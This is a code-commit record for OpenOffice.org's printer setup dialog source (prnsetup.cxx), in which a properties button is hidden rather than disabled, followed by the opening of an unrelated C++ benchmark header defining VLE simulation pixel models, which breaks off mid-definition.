);\n}\n\n\/\/ -----------------------------------------------------------------------\n\nvoid ImplFreePrnDlgListBox( ListBox* pBox, BOOL bClear )\n{\n if ( bClear )\n pBox->Clear();\n}\n\n\/\/ -----------------------------------------------------------------------\n\nPrinter* ImplPrnDlgListBoxSelect( ListBox* pBox, PushButton* pPropBtn,\n Printer* pPrinter, Printer* pTempPrinter )\n{\n if ( pBox->GetSelectEntryPos() != LISTBOX_ENTRY_NOTFOUND )\n {\n const QueueInfo* pInfo = Printer::GetQueueInfo( pBox->GetSelectEntry(), true );\n if( pInfo)\n {\n if ( !pTempPrinter )\n {\n if ( (pPrinter->GetName() == pInfo->GetPrinterName()) &&\n (pPrinter->GetDriverName() == pInfo->GetDriver()) )\n pTempPrinter = new Printer( pPrinter->GetJobSetup() );\n else\n pTempPrinter = new Printer( *pInfo );\n }\n else\n {\n if ( (pTempPrinter->GetName() != pInfo->GetPrinterName()) ||\n (pTempPrinter->GetDriverName() != pInfo->GetDriver()) )\n {\n delete pTempPrinter;\n pTempPrinter = new Printer( *pInfo );\n }\n }\n\n pPropBtn->Enable( pTempPrinter->HasSupport( SUPPORT_SETUPDIALOG ) );\n }\n else\n pPropBtn->Disable();\n }\n else\n pPropBtn->Disable();\n\n return pTempPrinter;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nPrinter* ImplPrnDlgUpdatePrinter( Printer* pPrinter, Printer* pTempPrinter )\n{\n XubString aPrnName;\n if ( pTempPrinter )\n aPrnName = pTempPrinter->GetName();\n else\n aPrnName = pPrinter->GetName();\n\n if ( ! Printer::GetQueueInfo( aPrnName, false ) )\n {\n if ( pTempPrinter )\n delete pTempPrinter;\n pTempPrinter = new Printer;\n }\n\n return pTempPrinter;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nvoid ImplPrnDlgUpdateQueueInfo( ListBox* pBox, QueueInfo& rInfo )\n{\n if ( pBox->GetSelectEntryPos() != LISTBOX_ENTRY_NOTFOUND )\n {\n const QueueInfo* pInfo = Printer::GetQueueInfo( pBox->GetSelectEntry(), true );\n if( pInfo )\n rInfo = *pInfo;\n }\n}\n\n\/\/ -----------------------------------------------------------------------\n\nstatic void ImplPrnDlgAddString( XubString& rStr, const XubString& rAddStr )\n{\n if ( rStr.Len() )\n rStr.AppendAscii( \"; \" );\n rStr += rAddStr;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nstatic void ImplPrnDlgAddResString( XubString& rStr, USHORT nResId )\n{\n SvtResId aResId( nResId );\n XubString aAddStr( aResId );\n ImplPrnDlgAddString( rStr, aAddStr );\n}\n\n\/\/ -----------------------------------------------------------------------\n\nXubString ImplPrnDlgGetStatusText( const QueueInfo& rInfo )\n{\n XubString aStr;\n ULONG nStatus = rInfo.GetStatus();\n\n \/\/ Default-Printer\n if ( rInfo.GetPrinterName().Len() &&\n (rInfo.GetPrinterName() == Printer::GetDefaultPrinterName()) )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_DEFPRINTER );\n\n \/\/ Status\n if ( nStatus & QUEUE_STATUS_READY )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_READY );\n if ( nStatus & QUEUE_STATUS_PAUSED )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_PAUSED );\n if ( nStatus & QUEUE_STATUS_PENDING_DELETION )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_PENDING );\n if ( nStatus & QUEUE_STATUS_BUSY )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_BUSY );\n if ( nStatus & QUEUE_STATUS_INITIALIZING )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_INITIALIZING );\n if ( nStatus & QUEUE_STATUS_WAITING )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_WAITING );\n if ( nStatus & QUEUE_STATUS_WARMING_UP )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_WARMING_UP );\n if ( nStatus & QUEUE_STATUS_PROCESSING )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_PROCESSING );\n if ( nStatus & QUEUE_STATUS_PRINTING )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_PRINTING );\n if ( nStatus & QUEUE_STATUS_OFFLINE )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_OFFLINE );\n if ( nStatus & QUEUE_STATUS_ERROR )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_ERROR );\n if ( nStatus & QUEUE_STATUS_SERVER_UNKNOWN )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_SERVER_UNKNOWN );\n if ( nStatus & QUEUE_STATUS_PAPER_JAM )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_PAPER_JAM );\n if ( nStatus & QUEUE_STATUS_PAPER_OUT )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_PAPER_OUT );\n if ( nStatus & QUEUE_STATUS_MANUAL_FEED )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_MANUAL_FEED );\n if ( nStatus & QUEUE_STATUS_PAPER_PROBLEM )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_PAPER_PROBLEM );\n if ( nStatus & QUEUE_STATUS_IO_ACTIVE )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_IO_ACTIVE );\n if ( nStatus & QUEUE_STATUS_OUTPUT_BIN_FULL )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_OUTPUT_BIN_FULL );\n if ( nStatus & QUEUE_STATUS_TONER_LOW )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_TONER_LOW );\n if ( nStatus & QUEUE_STATUS_NO_TONER )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_NO_TONER );\n if ( nStatus & QUEUE_STATUS_PAGE_PUNT )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_PAGE_PUNT );\n if ( nStatus & QUEUE_STATUS_USER_INTERVENTION )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_USER_INTERVENTION );\n if ( nStatus & QUEUE_STATUS_OUT_OF_MEMORY )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_OUT_OF_MEMORY );\n if ( nStatus & QUEUE_STATUS_DOOR_OPEN )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_DOOR_OPEN );\n if ( nStatus & QUEUE_STATUS_POWER_SAVE )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_POWER_SAVE );\n\n \/\/ Anzahl Jobs\n ULONG nJobs = rInfo.GetJobs();\n if ( nJobs && (nJobs != QUEUE_JOBS_DONTKNOW) )\n {\n XubString aJobStr( SvtResId( STR_SVT_PRNDLG_JOBCOUNT ) );\n XubString aJobs( XubString::CreateFromInt32( nJobs ) );\n aJobStr.SearchAndReplaceAscii( \"%d\", aJobs );\n ImplPrnDlgAddString( aStr, aJobStr );\n }\n\n return aStr;\n}\n\n\/\/ =======================================================================\n\nPrinterSetupDialog::PrinterSetupDialog( Window* pWindow ) :\n ModalDialog ( pWindow, SvtResId( DLG_SVT_PRNDLG_PRNSETUPDLG ) ),\n maFlPrinter ( this, SvtResId( FL_PRINTER ) ),\n maFtName ( this, SvtResId( FT_NAME ) ),\n maLbName ( this, SvtResId( LB_NAMES ) ),\n maBtnProperties ( this, SvtResId( BTN_PROPERTIES ) ),\n maBtnOptions ( this, SvtResId( BTN_OPTIONS ) ),\n maFtStatus ( this, SvtResId( FT_STATUS ) ),\n maFiStatus ( this, SvtResId( FI_STATUS ) ),\n maFtType ( this, SvtResId( FT_TYPE ) ),\n maFiType ( this, SvtResId( FI_TYPE ) ),\n maFtLocation ( this, SvtResId( FT_LOCATION ) ),\n maFiLocation ( this, SvtResId( FI_LOCATION ) ),\n maFtComment ( this, SvtResId( FT_COMMENT ) ),\n maFiComment ( this, SvtResId( FI_COMMENT ) ),\n maFlSepButton ( this, SvtResId( FL_SEPBUTTON ) ),\n maBtnOK ( this, SvtResId( BTN_OK ) ),\n maBtnCancel ( this, SvtResId( BTN_CANCEL ) ),\n maBtnHelp ( this, SvtResId( BTN_HELP ) )\n{\n FreeResource();\n\n \/\/ show options button only if link is set\n maBtnOptions.Hide();\n\n mpPrinter = NULL;\n mpTempPrinter = NULL;\n\n maStatusTimer.SetTimeout( IMPL_PRINTDLG_STATUS_UPDATE );\n maStatusTimer.SetTimeoutHdl( LINK( this, PrinterSetupDialog, ImplStatusHdl ) );\n maBtnProperties.SetClickHdl( LINK( this, PrinterSetupDialog, ImplPropertiesHdl ) );\n maLbName.SetSelectHdl( LINK( this, PrinterSetupDialog, ImplChangePrinterHdl ) );\n}\n\n\/\/ -----------------------------------------------------------------------\n\nPrinterSetupDialog::~PrinterSetupDialog()\n{\n ImplFreePrnDlgListBox( &maLbName, FALSE );\n delete mpTempPrinter;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nvoid PrinterSetupDialog::SetOptionsHdl( const Link& rLink )\n{\n maBtnOptions.SetClickHdl( rLink );\n maBtnOptions.Show( rLink.IsSet() );\n}\n\nconst Link& PrinterSetupDialog::GetOptionsHdl() const\n{\n return maBtnOptions.GetClickHdl();\n}\n\nvoid PrinterSetupDialog::ImplSetInfo()\n{\n const QueueInfo* pInfo = Printer::GetQueueInfo(maLbName.GetSelectEntry(), true);\n if ( pInfo )\n {\n maFiType.SetText( pInfo->GetDriver() );\n maFiLocation.SetText( pInfo->GetLocation() );\n maFiComment.SetText( pInfo->GetComment() );\n maFiStatus.SetText( ImplPrnDlgGetStatusText( *pInfo ) );\n }\n else\n {\n XubString aTempStr;\n maFiType.SetText( aTempStr );\n maFiLocation.SetText( aTempStr );\n maFiComment.SetText( aTempStr );\n maFiStatus.SetText( aTempStr );\n }\n}\n\n\/\/ -----------------------------------------------------------------------\n\nIMPL_LINK( PrinterSetupDialog, ImplStatusHdl, Timer*, EMPTYARG )\n{\n QueueInfo aInfo;\n ImplPrnDlgUpdateQueueInfo( &maLbName, aInfo );\n maFiStatus.SetText( ImplPrnDlgGetStatusText( aInfo ) );\n\n return 0;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nIMPL_LINK( PrinterSetupDialog, ImplPropertiesHdl, void*, EMPTYARG )\n{\n if ( !mpTempPrinter )\n mpTempPrinter = new Printer( mpPrinter->GetJobSetup() );\n mpTempPrinter->Setup( this );\n\n return 0;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nIMPL_LINK( PrinterSetupDialog, ImplChangePrinterHdl, void*, EMPTYARG )\n{\n mpTempPrinter = ImplPrnDlgListBoxSelect( &maLbName, &maBtnProperties,\n mpPrinter, mpTempPrinter );\n ImplSetInfo();\n return 0;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nlong PrinterSetupDialog::Notify( NotifyEvent& rNEvt )\n{\n if ( (rNEvt.GetType() == EVENT_GETFOCUS) && IsReallyVisible() )\n ImplStatusHdl( &maStatusTimer );\n\n return ModalDialog::Notify( rNEvt );\n}\n\n\/\/ -----------------------------------------------------------------------\n\nvoid PrinterSetupDialog::DataChanged( const DataChangedEvent& rDCEvt )\n{\n if ( rDCEvt.GetType() == DATACHANGED_PRINTER )\n {\n mpTempPrinter = ImplPrnDlgUpdatePrinter( mpPrinter, mpTempPrinter );\n Printer* pPrn;\n if ( mpTempPrinter )\n pPrn = mpTempPrinter;\n else\n pPrn = mpPrinter;\n ImplFillPrnDlgListBox( pPrn, &maLbName, &maBtnProperties );\n ImplSetInfo();\n }\n\n ModalDialog::DataChanged( rDCEvt );\n}\n\n\/\/ -----------------------------------------------------------------------\n\nshort PrinterSetupDialog::Execute()\n{\n if ( !mpPrinter || mpPrinter->IsPrinting() || mpPrinter->IsJobActive() )\n {\n DBG_ERRORFILE( \"PrinterSetupDialog::Execute() - No Printer or printer is printing\" );\n return FALSE;\n }\n\n Printer::updatePrinters();\n\n ImplFillPrnDlgListBox( mpPrinter, &maLbName, &maBtnProperties );\n ImplSetInfo();\n maStatusTimer.Start();\n\n \/\/ Dialog starten\n short nRet = ModalDialog::Execute();\n\n \/\/ Wenn Dialog mit OK beendet wurde, dann die Daten updaten\n if ( nRet == TRUE )\n {\n if ( mpTempPrinter )\n mpPrinter->SetPrinterProps( mpTempPrinter );\n }\n\n maStatusTimer.Stop();\n\n return nRet;\n}\n<commit_msg>printerpullpages: #i106762# hide properties button instead of disabling it when no printer setup dialog is available<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: prnsetup.cxx,v $\n * $Revision: 1.10 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_svtools.hxx\"\n#include <tools\/debug.hxx>\n#ifndef _VCL_PRINT_HXX\n#include <vcl\/print.hxx>\n#endif\n\n#ifndef GCC\n#endif\n\n#include <svtools\/svtdata.hxx>\n#include \"prnsetup.hrc\"\n#include <svtools\/prnsetup.hxx>\n\n\/\/ =======================================================================\n\nvoid ImplFillPrnDlgListBox( const Printer* pPrinter,\n ListBox* pBox, PushButton* pPropBtn )\n{\n ImplFreePrnDlgListBox( pBox );\n\n const std::vector<rtl::OUString>& rPrinters = Printer::GetPrinterQueues();\n unsigned int nCount = rPrinters.size();\n if ( nCount )\n {\n for( unsigned int i = 0; i < nCount; i++ )\n pBox->InsertEntry( rPrinters[i] );\n pBox->SelectEntry( pPrinter->GetName() );\n }\n\n pBox->Enable( nCount != 0 );\n pPropBtn->Show( pPrinter->HasSupport( SUPPORT_SETUPDIALOG ) );\n}\n\n\/\/ -----------------------------------------------------------------------\n\nvoid ImplFreePrnDlgListBox( ListBox* pBox, BOOL bClear )\n{\n if ( bClear )\n pBox->Clear();\n}\n\n\/\/ -----------------------------------------------------------------------\n\nPrinter* ImplPrnDlgListBoxSelect( ListBox* pBox, PushButton* pPropBtn,\n Printer* pPrinter, Printer* pTempPrinter )\n{\n if ( pBox->GetSelectEntryPos() != LISTBOX_ENTRY_NOTFOUND )\n {\n const QueueInfo* pInfo = Printer::GetQueueInfo( pBox->GetSelectEntry(), true );\n if( pInfo)\n {\n if ( !pTempPrinter )\n {\n if ( (pPrinter->GetName() == pInfo->GetPrinterName()) &&\n (pPrinter->GetDriverName() == pInfo->GetDriver()) )\n pTempPrinter = new Printer( pPrinter->GetJobSetup() );\n else\n pTempPrinter = new Printer( *pInfo );\n }\n else\n {\n if ( (pTempPrinter->GetName() != pInfo->GetPrinterName()) ||\n (pTempPrinter->GetDriverName() != pInfo->GetDriver()) )\n {\n delete pTempPrinter;\n pTempPrinter = new Printer( *pInfo );\n }\n }\n\n pPropBtn->Enable( pTempPrinter->HasSupport( SUPPORT_SETUPDIALOG ) );\n }\n else\n pPropBtn->Disable();\n }\n else\n pPropBtn->Disable();\n\n return pTempPrinter;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nPrinter* ImplPrnDlgUpdatePrinter( Printer* pPrinter, Printer* pTempPrinter )\n{\n XubString aPrnName;\n if ( pTempPrinter )\n aPrnName = pTempPrinter->GetName();\n else\n aPrnName = pPrinter->GetName();\n\n if ( ! Printer::GetQueueInfo( aPrnName, false ) )\n {\n if ( pTempPrinter )\n delete pTempPrinter;\n pTempPrinter = new Printer;\n }\n\n return pTempPrinter;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nvoid ImplPrnDlgUpdateQueueInfo( ListBox* pBox, QueueInfo& rInfo )\n{\n if ( pBox->GetSelectEntryPos() != LISTBOX_ENTRY_NOTFOUND )\n {\n const QueueInfo* pInfo = Printer::GetQueueInfo( pBox->GetSelectEntry(), true );\n if( pInfo )\n rInfo = *pInfo;\n }\n}\n\n\/\/ -----------------------------------------------------------------------\n\nstatic void ImplPrnDlgAddString( XubString& rStr, const XubString& rAddStr )\n{\n if ( rStr.Len() )\n rStr.AppendAscii( \"; \" );\n rStr += rAddStr;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nstatic void ImplPrnDlgAddResString( XubString& rStr, USHORT nResId )\n{\n SvtResId aResId( nResId );\n XubString aAddStr( aResId );\n ImplPrnDlgAddString( rStr, aAddStr );\n}\n\n\/\/ -----------------------------------------------------------------------\n\nXubString ImplPrnDlgGetStatusText( const QueueInfo& rInfo )\n{\n XubString aStr;\n ULONG nStatus = rInfo.GetStatus();\n\n \/\/ Default-Printer\n if ( rInfo.GetPrinterName().Len() &&\n (rInfo.GetPrinterName() == Printer::GetDefaultPrinterName()) )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_DEFPRINTER );\n\n \/\/ Status\n if ( nStatus & QUEUE_STATUS_READY )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_READY );\n if ( nStatus & QUEUE_STATUS_PAUSED )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_PAUSED );\n if ( nStatus & QUEUE_STATUS_PENDING_DELETION )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_PENDING );\n if ( nStatus & QUEUE_STATUS_BUSY )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_BUSY );\n if ( nStatus & QUEUE_STATUS_INITIALIZING )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_INITIALIZING );\n if ( nStatus & QUEUE_STATUS_WAITING )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_WAITING );\n if ( nStatus & QUEUE_STATUS_WARMING_UP )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_WARMING_UP );\n if ( nStatus & QUEUE_STATUS_PROCESSING )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_PROCESSING );\n if ( nStatus & QUEUE_STATUS_PRINTING )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_PRINTING );\n if ( nStatus & QUEUE_STATUS_OFFLINE )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_OFFLINE );\n if ( nStatus & QUEUE_STATUS_ERROR )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_ERROR );\n if ( nStatus & QUEUE_STATUS_SERVER_UNKNOWN )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_SERVER_UNKNOWN );\n if ( nStatus & QUEUE_STATUS_PAPER_JAM )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_PAPER_JAM );\n if ( nStatus & QUEUE_STATUS_PAPER_OUT )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_PAPER_OUT );\n if ( nStatus & QUEUE_STATUS_MANUAL_FEED )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_MANUAL_FEED );\n if ( nStatus & QUEUE_STATUS_PAPER_PROBLEM )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_PAPER_PROBLEM );\n if ( nStatus & QUEUE_STATUS_IO_ACTIVE )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_IO_ACTIVE );\n if ( nStatus & QUEUE_STATUS_OUTPUT_BIN_FULL )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_OUTPUT_BIN_FULL );\n if ( nStatus & QUEUE_STATUS_TONER_LOW )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_TONER_LOW );\n if ( nStatus & QUEUE_STATUS_NO_TONER )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_NO_TONER );\n if ( nStatus & QUEUE_STATUS_PAGE_PUNT )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_PAGE_PUNT );\n if ( nStatus & QUEUE_STATUS_USER_INTERVENTION )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_USER_INTERVENTION );\n if ( nStatus & QUEUE_STATUS_OUT_OF_MEMORY )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_OUT_OF_MEMORY );\n if ( nStatus & QUEUE_STATUS_DOOR_OPEN )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_DOOR_OPEN );\n if ( nStatus & QUEUE_STATUS_POWER_SAVE )\n ImplPrnDlgAddResString( aStr, STR_SVT_PRNDLG_POWER_SAVE );\n\n \/\/ Anzahl Jobs\n ULONG nJobs = rInfo.GetJobs();\n if ( nJobs && (nJobs != QUEUE_JOBS_DONTKNOW) )\n {\n XubString aJobStr( SvtResId( STR_SVT_PRNDLG_JOBCOUNT ) );\n XubString aJobs( XubString::CreateFromInt32( nJobs ) );\n aJobStr.SearchAndReplaceAscii( \"%d\", aJobs );\n ImplPrnDlgAddString( aStr, aJobStr );\n }\n\n return aStr;\n}\n\n\/\/ =======================================================================\n\nPrinterSetupDialog::PrinterSetupDialog( Window* pWindow ) :\n ModalDialog ( pWindow, SvtResId( DLG_SVT_PRNDLG_PRNSETUPDLG ) ),\n maFlPrinter ( this, SvtResId( FL_PRINTER ) ),\n maFtName ( this, SvtResId( FT_NAME ) ),\n maLbName ( this, SvtResId( LB_NAMES ) ),\n maBtnProperties ( this, SvtResId( BTN_PROPERTIES ) ),\n maBtnOptions ( this, SvtResId( BTN_OPTIONS ) ),\n maFtStatus ( this, SvtResId( FT_STATUS ) ),\n maFiStatus ( this, SvtResId( FI_STATUS ) ),\n maFtType ( this, SvtResId( FT_TYPE ) ),\n maFiType ( this, SvtResId( FI_TYPE ) ),\n maFtLocation ( this, SvtResId( FT_LOCATION ) ),\n maFiLocation ( this, SvtResId( FI_LOCATION ) ),\n maFtComment ( this, SvtResId( FT_COMMENT ) ),\n maFiComment ( this, SvtResId( FI_COMMENT ) ),\n maFlSepButton ( this, SvtResId( FL_SEPBUTTON ) ),\n maBtnOK ( this, SvtResId( BTN_OK ) ),\n maBtnCancel ( this, SvtResId( BTN_CANCEL ) ),\n maBtnHelp ( this, SvtResId( BTN_HELP ) )\n{\n FreeResource();\n\n \/\/ show options button only if link is set\n maBtnOptions.Hide();\n\n mpPrinter = NULL;\n mpTempPrinter = NULL;\n\n maStatusTimer.SetTimeout( IMPL_PRINTDLG_STATUS_UPDATE );\n maStatusTimer.SetTimeoutHdl( LINK( this, PrinterSetupDialog, ImplStatusHdl ) );\n maBtnProperties.SetClickHdl( LINK( this, PrinterSetupDialog, ImplPropertiesHdl ) );\n maLbName.SetSelectHdl( LINK( this, PrinterSetupDialog, ImplChangePrinterHdl ) );\n}\n\n\/\/ -----------------------------------------------------------------------\n\nPrinterSetupDialog::~PrinterSetupDialog()\n{\n ImplFreePrnDlgListBox( &maLbName, FALSE );\n delete mpTempPrinter;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nvoid PrinterSetupDialog::SetOptionsHdl( const Link& rLink )\n{\n maBtnOptions.SetClickHdl( rLink );\n maBtnOptions.Show( rLink.IsSet() );\n}\n\nconst Link& PrinterSetupDialog::GetOptionsHdl() const\n{\n return maBtnOptions.GetClickHdl();\n}\n\nvoid PrinterSetupDialog::ImplSetInfo()\n{\n const QueueInfo* pInfo = Printer::GetQueueInfo(maLbName.GetSelectEntry(), true);\n if ( pInfo )\n {\n maFiType.SetText( pInfo->GetDriver() );\n maFiLocation.SetText( pInfo->GetLocation() );\n maFiComment.SetText( pInfo->GetComment() );\n maFiStatus.SetText( ImplPrnDlgGetStatusText( *pInfo ) );\n }\n else\n {\n XubString aTempStr;\n maFiType.SetText( aTempStr );\n maFiLocation.SetText( aTempStr );\n maFiComment.SetText( aTempStr );\n maFiStatus.SetText( aTempStr );\n }\n}\n\n\/\/ -----------------------------------------------------------------------\n\nIMPL_LINK( PrinterSetupDialog, ImplStatusHdl, Timer*, EMPTYARG )\n{\n QueueInfo aInfo;\n ImplPrnDlgUpdateQueueInfo( &maLbName, aInfo );\n maFiStatus.SetText( ImplPrnDlgGetStatusText( aInfo ) );\n\n return 0;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nIMPL_LINK( PrinterSetupDialog, ImplPropertiesHdl, void*, EMPTYARG )\n{\n if ( !mpTempPrinter )\n mpTempPrinter = new Printer( mpPrinter->GetJobSetup() );\n mpTempPrinter->Setup( this );\n\n return 0;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nIMPL_LINK( PrinterSetupDialog, ImplChangePrinterHdl, void*, EMPTYARG )\n{\n mpTempPrinter = ImplPrnDlgListBoxSelect( &maLbName, &maBtnProperties,\n mpPrinter, mpTempPrinter );\n ImplSetInfo();\n return 0;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nlong PrinterSetupDialog::Notify( NotifyEvent& rNEvt )\n{\n if ( (rNEvt.GetType() == EVENT_GETFOCUS) && IsReallyVisible() )\n ImplStatusHdl( &maStatusTimer );\n\n return ModalDialog::Notify( rNEvt );\n}\n\n\/\/ -----------------------------------------------------------------------\n\nvoid PrinterSetupDialog::DataChanged( const DataChangedEvent& rDCEvt )\n{\n if ( rDCEvt.GetType() == DATACHANGED_PRINTER )\n {\n mpTempPrinter = ImplPrnDlgUpdatePrinter( mpPrinter, mpTempPrinter );\n Printer* pPrn;\n if ( mpTempPrinter )\n pPrn = mpTempPrinter;\n else\n pPrn = mpPrinter;\n ImplFillPrnDlgListBox( pPrn, &maLbName, &maBtnProperties );\n ImplSetInfo();\n }\n\n ModalDialog::DataChanged( rDCEvt );\n}\n\n\/\/ -----------------------------------------------------------------------\n\nshort PrinterSetupDialog::Execute()\n{\n if ( !mpPrinter || mpPrinter->IsPrinting() || mpPrinter->IsJobActive() )\n {\n DBG_ERRORFILE( \"PrinterSetupDialog::Execute() - No Printer or printer is printing\" );\n return FALSE;\n }\n\n Printer::updatePrinters();\n\n ImplFillPrnDlgListBox( mpPrinter, &maLbName, &maBtnProperties );\n ImplSetInfo();\n maStatusTimer.Start();\n\n \/\/ Dialog starten\n short nRet = ModalDialog::Execute();\n\n \/\/ Wenn Dialog mit OK beendet wurde, dann die Daten updaten\n if ( nRet == TRUE )\n {\n if ( mpTempPrinter )\n mpPrinter->SetPrinterProps( mpTempPrinter );\n }\n\n maStatusTimer.Stop();\n\n return nRet;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2014 INRA\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n * FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,\n * OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef __Benchmark_models_hpp__\n#define __Benchmark_models_hpp__\n\n#include \"linpackc.hpp\"\n#include \"defs.hpp\"\n#include <vle\/mpi-synchronous.hpp>\n#include <vle\/utils.hpp>\n#include <fstream>\n#include <numeric>\n\nnamespace bench {\n\nstruct TopPixel : AtomicModel\n{\n int m_id;\n std::string m_name;\n long int m_duration;\n\n TopPixel(const vle::Context& ctx)\n : AtomicModel(ctx, {}, {\"0\"})\n {}\n\n virtual ~TopPixel()\n {}\n\n virtual double init(const vle::Common& common, const double&) override final\n {\n try {\n m_id = boost::any_cast <int>(common.at(\"id\"));\n m_name = std::string(\"top-\") + boost::any_cast <std::string>(common.at(\"name\"));\n m_duration = boost::any_cast <long int>(common.at(\"duration\"));\n } catch (const std::exception &e) {\n throw std::invalid_argument(\"TopPixel: failed to find name \"\n \"or duration parameters\");\n }\n\n return 0.0;\n }\n\n virtual double delta(const double&) override final\n {\n if (m_duration > 0)\n bench::sleep_and_work(m_duration);\n\n return 1.0;\n }\n\n virtual void lambda() const override final\n {\n vle_dbg(AtomicModel::ctx, \"[%s] lambda\\n\", m_name.c_str());\n\n y[0] = {m_id};\n }\n};\n\nstruct NormalPixel : AtomicModel\n{\n enum Phase { WAIT, SEND };\n\n int m_id;\n std::string m_name;\n double m_current_time;\n double m_last_time;\n long int m_duration;\n unsigned int m_neighbour_number;\n unsigned int m_received;\n unsigned int m_total_received;\n Phase 